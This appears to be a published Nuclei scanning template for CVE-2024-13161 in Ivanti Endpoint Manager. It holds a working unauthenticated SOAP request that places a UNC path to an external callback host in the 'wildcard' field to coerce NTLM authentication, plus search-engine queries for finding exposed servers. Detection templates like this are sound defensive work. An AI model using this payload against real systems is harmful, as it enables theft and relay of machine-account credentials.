Ivanti EPM - Credential Coercion Vulnerability in GetHashForSingleFile

ID: CVE-2024-13161

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev

Description

A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForSingleFile endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.

YAML Source

id: CVE-2024-13161

info:
  name: Ivanti EPM - Credential Coercion Vulnerability in GetHashForSingleFile
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForSingleFile endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
  reference:
    - https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13161
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-13161
    cwe-id: CWE-36
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:362091310
    fofa-query: icon_hash="362091310"
  tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev

variables:
  file: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: text/xml
        Soapaction: http://tempuri.org/GetHashForSingleFile

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
                <GetHashForSingleFile xmlns="http://tempuri.org/">
                    <wildcard>\\{{interactsh-url}}\tmp\{{file}}.txt</wildcard>
                </GetHashForSingleFile>
            </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "<GetHashForSingleFileResponse")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100eb2be22bf28970426cf689e21c3918bd4bd70cf01236ac7142e1c068d70853230221008e56fd4de2c594f17ff877dc3aa6a5fd417de7d97764f04e61e1a8b1b5401249:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-13161.yaml"

View on Github